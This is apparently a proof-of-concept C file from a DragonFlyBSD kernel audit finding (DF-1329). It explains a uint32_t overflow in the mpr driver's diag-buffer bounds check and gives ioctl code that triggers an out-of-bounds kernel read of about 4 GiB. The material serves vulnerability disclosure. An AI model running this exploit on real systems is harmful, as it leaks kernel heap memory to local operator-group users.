โฌข DragonFlyBSD Kernel Audit
DF-1329 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-1329 โ€” mpr_diag_read_buffer integer-overflow OOB read PoC.
 *
 * Bug: mpr_user.c:1798-1802 bounds check
 *     if (diag_read_buffer->StartingOffset + diag_read_buffer->BytesToRead >
 *         pBuffer->size)  reject;
 * Both operands are uint32_t; the SUM wraps modulo 2^32.
 *   StartingOffset = 0x00000100, BytesToRead = 0xFFFFFF00
 *   sum = 0x100000000 == 0 (mod 2^32)  <= size  โ†’ check passes
 * Then at :1812-1814:
 *     pData = sc->fw_diag_buffer + 0x100;
 *     copyout(pData, ioctl_buf, 0xFFFFFF00);   // reads ~4 GiB from DMA buf
 * โ†’ heap info leak (and/or copyout fault far past the allocation).
 *
 * Reach: open("/dev/mpr0") + ioctl(MPTIOCTL_DIAG_ACTION) with
 * Action = MPR_FW_DIAG_TYPE_READ_BUFFER.  Requires a previously-registered
 * diag buffer (MPR_FW_DIAG_TYPE_REGISTER) so pBuffer->size is set; that
 * register action uses the same operator-group ioctl.  No ioctl privilege
 * check beyond device open (UID_ROOT/GID_OPERATOR 0640).
 *
 * REQUIRES HARDWARE: an LSI SAS3+ HBA must be present so /dev/mpr0
 * exists and the diag-buffer machinery has run.  The QEMU audit guest has
 * no such HBA โ†’ /dev/mpr0 does not exist.  See VERDICT.md.
 *
 * Build:  cc -o poc poc.c -Wall
 * Run:    ./poc            (as an operator-group user, mpr-equipped host,
 *                           after a diag buffer has been REGISTERED)
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MPTIOCTL ('I')

typedef struct mpr_diag_read_buffer {
	uint8_t  Status;
	uint8_t  Reserved;
	uint16_t Flags;
	uint32_t StartingOffset;
	uint32_t BytesToRead;
	uint32_t UniqueId;
	uint64_t PtrDataBuffer;
} mpr_diag_read_buffer_t;

#define MPR_FW_DIAG_TYPE_REGISTER     1
#define MPR_FW_DIAG_TYPE_UNREGISTER   2
#define MPR_FW_DIAG_TYPE_QUERY        3
#define MPR_FW_DIAG_TYPE_READ_BUFFER  4
#define MPR_FW_DIAG_TYPE_RELEASE      5

typedef struct mpr_diag_action {
	uint32_t Action;
	uint32_t Length;
	uint64_t PtrDiagAction;
	uint32_t ReturnCode;
} mpr_diag_action_t;
#define MPTIOCTL_DIAG_ACTION _IOWR(MPTIOCTL, 9, mpr_diag_action_t)

/* Wrap values chosen so sum == 0 (mod 2^32) and StartingOffset is small
 * and non-zero so the pointer lands just inside the diag buffer. */
#define START_OFFSET  0x00000100u
#define BYTES_TO_READ 0xFFFFFF00u

int main(void)
{
	int fd = open("/dev/mpr0", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/mpr0");

	/* NOTE: a real run must first REGISTER a diag buffer to obtain a
	 * valid UniqueId; this PoC shows the overflow payload only. */
	mpr_diag_read_buffer_t rbuf;
	memset(&rbuf, 0, sizeof(rbuf));
	rbuf.UniqueId       = 0x4711;   /* caller-supplied UID from register */
	rbuf.StartingOffset = START_OFFSET;
	rbuf.BytesToRead    = BYTES_TO_READ;
	rbuf.PtrDataBuffer  = (uint64_t)(uintptr_t)calloc(1, 1 << 20);

	mpr_diag_action_t da;
	memset(&da, 0, sizeof(da));
	da.Action       = MPR_FW_DIAG_TYPE_READ_BUFFER;
	da.Length       = sizeof(rbuf);
	da.PtrDiagAction = (uint64_t)(uintptr_t)&rbuf;

	if (ioctl(fd, MPTIOCTL_DIAG_ACTION, &da) < 0)
		err(1, "ioctl MPTIOCTL_DIAG_ACTION READ_BUFFER");

	fprintf(stderr, "[+] copyout accepted; StartingOffset=%#x BytesToRead=%#x "
	        "sum=%#x (wrapped to 0)\n", START_OFFSET, BYTES_TO_READ,
	        (uint32_t)(START_OFFSET + BYTES_TO_READ));
	close(fd);
	return 0;
}